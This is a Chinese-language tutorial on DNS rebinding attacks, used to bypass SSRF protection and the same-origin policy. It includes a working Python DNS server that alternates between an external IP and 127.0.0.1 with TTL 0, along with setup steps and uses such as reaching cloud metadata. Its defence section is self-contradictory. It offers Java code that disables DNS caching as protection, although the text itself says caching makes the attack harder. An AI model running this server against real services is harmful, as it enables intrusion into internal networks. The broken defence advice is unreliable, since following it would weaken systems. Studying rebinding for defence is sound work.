从0到1认识DNS重绑定攻击
字数 1474 2025-08-20 18:17:47
DNS重绑定攻击从原理到实践
0x00 前言
DNS重绑定攻击(DNS Rebinding)是一种利用DNS解析机制差异性的攻击技术,主要用于绕过同源策略(SOP)和SSRF(服务器端请求伪造)防护机制。本文将系统性地介绍DNS重绑定攻击的原理、实现方式及防御方法。
0x01 DNS基础概念
DNS基本工作原理
DNS(Domain Name Service)是将域名和IP地址相互映射的分布式数据库系统,主要功能是将人类易记的域名转换为机器可识别的IP地址。
DNS解析过程示例:
- 客户端查询"zh.wikipedia.org"
- 本地DNS缓存未命中则向根服务器查询
- 根服务器返回.org顶级域服务器地址
- 查询.org服务器获取wikipedia.org权威服务器地址
- 最终从wikipedia.org服务器获取zh主机的A记录
DNS记录类型
- A记录:将主机名映射到IPv4地址
- CNAME记录:设置域名别名
- NS记录:指定域名的权威DNS服务器
- TTL(Time To Live):DNS记录在缓存中的存活时间,单位为秒
0x02 DNS重绑定攻击原理
核心概念
DNS重绑定攻击通过控制DNS服务器,在短时间内(通常TTL设为0)对同一域名返回不同的IP地址,从而绕过安全检查。
典型攻击场景:
- 第一次查询返回外网IP(如1.1.1.1)通过安全检查
- 第二次查询返回内网IP(如127.0.0.1)实现内网访问
攻击流程
- 用户访问恶意网站,执行JavaScript代码
- 首次DNS解析返回允许的外网IP
- 浏览器建立连接后,TTL过期
- 后续请求重新解析,返回内网IP
- 浏览器继续使用原有连接访问内网服务
0x03 技术实现
构建可控DNS服务器
使用Python实现一个简单的DNS服务器,动态返回不同IP:
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record = {}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name] < 1:
ip = "104.160.43.154" # 外网IP
else:
ip = "127.0.0.1" # 内网IP
if name not in record:
record[name] = 0
record[name] += 1
answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0, # 关键:TTL设为0
payload=dns.Record_A(address=b'%s'%ip, ttl=0)
)
return [answer], [], []
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
main()
域名配置要点
- 注册一个域名(如example.com)
- 设置NS记录指向自建DNS服务器
- 确保DNS服务器53端口可访问
0x04 攻击实践
绕过SSRF防护
许多SSRF防护措施仅检查首次解析的IP地址。通过DNS重绑定:
- 首次解析返回允许的外网IP
- 后续请求返回127.0.0.1或其他内网IP
- 实现对内网服务的访问
绕过同源策略
通过控制同一域名解析到不同IP,可以绕过浏览器的同源策略限制。
0x05 防御措施
有效防御方法
-
严格控制DNS TTL:
- 设置合理的TTL值(建议≥10秒)
- 确保两次DNS查询间隔小于TTL
-
应用层防护:
- Java: 设置
networkaddress.cache.negative.ttl=0 - 禁用DNS缓存或使用固定IP白名单
- Java: 设置
-
网络层防护:
- 防火墙限制外网到内网的连接
- 监控异常的DNS查询模式
防御代码示例
// Java中禁用DNS缓存
java.security.Security.setProperty("networkaddress.cache.ttl", "0");
java.security.Security.setProperty("networkaddress.cache.negative.ttl", "0");
0x06 攻击局限性
-
DNS缓存问题:
- 某些公共DNS(如114.114.114.114)会忽略TTL缓存记录
- 操作系统和浏览器可能有独立的缓存机制
-
时间窗口限制:
- 需要精确控制攻击时序
- 成功率受网络延迟影响
-
环境依赖性:
- Java默认TTL为10秒,较难攻击
- PHP默认不缓存,较易受攻击
0x07 扩展应用
- 内网渗透:绕过NAT访问内网服务
- 云环境攻击:访问云metadata服务
- 绕过WAF:逃避基于域名的防护规则
0x08 参考资源
通过深入理解DNS重绑定攻击原理和防御方法,可以有效提升Web应用的安全性,防止此类攻击带来的危害。